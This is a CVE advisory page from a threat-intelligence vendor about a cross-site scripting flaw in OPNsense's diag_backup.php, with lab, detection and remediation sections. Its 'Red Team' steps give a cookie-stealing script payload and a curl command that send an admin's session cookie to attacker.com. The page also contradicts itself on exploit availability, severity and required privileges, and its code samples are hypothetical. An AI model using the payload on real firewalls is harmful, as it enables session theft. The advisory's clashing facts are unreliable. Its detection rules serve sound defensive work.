☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2019-25368

CVE-2019-25368 Cross-Site Scripting in Opnsense
📅 PUBLISHED: 2026-02-15 13:58 UTC 🔄 UPDATED: 2026-09-24 05:56 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.14%
👁️
0.14% probability
3.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Netherlands License: Open Source
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
4.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2019-25368 is a critical Cross-Site Scripting (XSS) vulnerability affecting OPNsense version 19.1. The flaw resides in the diag_backup.php endpoint, where multiple parameters fail to sanitize user input, allowing attackers to inject arbitrary JavaScript. An authenticated administrator visiting a crafted link or submitting a malicious POST request can trigger script execution in the context of their session. This can lead to session hijacking, credential theft, or further compromise of the firewall appliance. The vulnerability has a public proof-of-concept (PoC) but no official patch has been confirmed.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but affects the OPNsense web interface directly. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (NVD) but realistically 6.1 (Medium) based on CVSS:3.1 vector.
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None (but requires authenticated admin session)
  • User Interaction: Required (admin must click or submit)
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None
  • Threat Level: Medium – Exploitation requires authenticated admin interaction, but impact can be severe if combined with other attacks.

Deep Dive & Mechanics

The vulnerability is a classic stored/reflected XSS in the diag_backup.php script. The endpoint is used for backup configuration to cloud services (Google Drive, Nextcloud). The following parameters are unsanitized:

  • GDrive_GDriveEmail
  • GDrive_GDriveFolderID
  • GDrive_GDriveBackupCount
  • Nextcloud_url
  • Nextcloud_user
  • Nextcloud_password
  • Nextcloud_password_encryption
  • Nextcloud_backupdir

When an administrator submits a POST request to diag_backup.php with malicious JavaScript in any of these fields, the script is stored and later rendered without proper encoding. For example, an attacker can craft a URL like:

https://target.opnsense/diag_backup.php?GDrive_GDriveEmail=<script>alert('XSS')</script>

If the admin visits this URL, the script executes in their browser. Alternatively, a persistent XSS can be achieved by submitting a form with malicious payloads, which will execute every time the backup page is loaded.

Vulnerable vs. Patched Code

Vulnerable Code (OPNsense 19.1): The diag_backup.php script directly echoes user input without sanitization. Example snippet:

<?php
$email = $_POST['GDrive_GDriveEmail'];
echo "<input type='text' name='GDrive_GDriveEmail' value='$email'>";
?>

Patched Code (Hypothetical): A proper fix would use htmlspecialchars() or equivalent to escape output:

<?php
$email = htmlspecialchars($_POST['GDrive_GDriveEmail'], ENT_QUOTES, 'UTF-8');
echo "<input type='text' name='GDrive_GDriveEmail' value='$email'>";
?>

No official patch has been released by OPNsense for this specific CVE.

Exploitation & Lab Setup

Red Team (Attack Simulation)

  1. Setup: Deploy OPNsense 19.1 in a lab environment (e.g., VirtualBox). Ensure the web interface is accessible.
  2. Craft Payload: Use a simple JavaScript payload to steal cookies:
    <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
    
  3. Exploit via POST: Use curl to submit the payload:
    curl -X POST https://target.opnsense/diag_backup.php \
      -d "GDrive_GDriveEmail=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>"
    
  4. Trigger: The admin must visit the backup page or the attacker can send a crafted link.

Blue Team (Defense & Detection)

  1. Monitor Logs: Look for unusual POST requests to /diag_backup.php with script-like parameters.
  2. Web Application Firewall (WAF): Deploy rules to block <script> tags in form fields.
  3. Content Security Policy (CSP): Implement strict CSP headers to prevent inline script execution.
  4. Input Validation: Ensure all user inputs are sanitized on the server side.

Indicators of Compromise (IOCs)

  • Network: POST requests to /diag_backup.php containing <script> tags in parameters.
  • Logs: Web server logs showing GDrive_GDriveEmail=<script> or similar patterns.
  • File System: Modified backup configuration files with embedded JavaScript.
  • Browser: Unexpected redirects or cookie theft from the OPNsense admin interface.

Detection Engineering

YARA Rule

rule CVE_2019_25368_XSS {
    meta:
        description = "Detects XSS payloads targeting OPNsense diag_backup.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25368"
    strings:
        $xss1 = /GDrive_GDriveEmail=.*<script/i
        $xss2 = /Nextcloud_url=.*<script/i
        $xss3 = /GDrive_GDriveFolderID=.*<script/i
    condition:
        any of them
}

Sigma Rule

title: OPNsense diag_backup.php XSS Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects XSS attempts against OPNsense diag_backup.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'diag_backup.php'
        cs-uri-query|contains|all:
            - 'GDrive_GDriveEmail'
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in backup configuration (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2019-25368 OPNsense diag_backup.php XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"diag_backup.php"; http_uri;
    content:"GDrive_GDriveEmail"; http_client_body;
    content:"<script"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2019-25368;
)

Remediation & Mitigation

  1. Immediate: Restrict access to /diag_backup.php to trusted IPs only.
  2. Short-term: Apply input validation and output encoding manually if source code is accessible.
  3. Long-term: Upgrade to a patched version of OPNsense (if available) or apply vendor-supplied fix.
  4. Compensating Controls: Use a WAF to block XSS patterns, enforce CSP headers, and enable HTTP-only cookies.
  5. Monitor: Continuously monitor logs for exploitation attempts.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2019-25368/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.